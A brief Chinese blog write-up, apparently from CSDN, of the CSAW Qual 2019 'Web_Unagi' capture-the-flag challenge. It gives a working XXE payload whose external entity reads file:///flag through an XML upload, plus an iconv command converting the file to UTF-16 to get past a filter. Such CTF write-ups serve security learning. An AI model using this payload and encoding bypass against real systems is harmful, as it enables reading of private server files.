[CSAWQual 2019]Web_Unagi

最新推荐文章于 2023-10-26 16:08:55 发布

fmyyy1

最新推荐文章于 2023-10-26 16:08:55 发布

阅读量461

点赞数

分类专栏： xml

本文链接：https://blog.csdn.net/fmyyy1/article/details/116428284

版权

XML注入文件系统编码转换安全漏洞恶意输入

关键词由CSDN通过智能技术生成

xml 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

在这里插入图片描述
文件上传题，看一下给的例子。

在这里插入图片描述
是xml注入

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

直接传好像不行，看wp转成utf-16的编码了
iconv -f utf8 -t utf-16 1.xml>2.xml
在这里插入图片描述

fmyyy1

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
[CSAWQual 2019]Web_Unagi

文件上传题，看一下给的例子。是xml注入<?xml version='1.0'?><!DOCTYPE users [<!ENTITY xxe SYSTEM "file:///flag" >]><users> <user> <username>bob</username> <password>passwd2</password> &l.
复制链接

扫一扫

专栏目录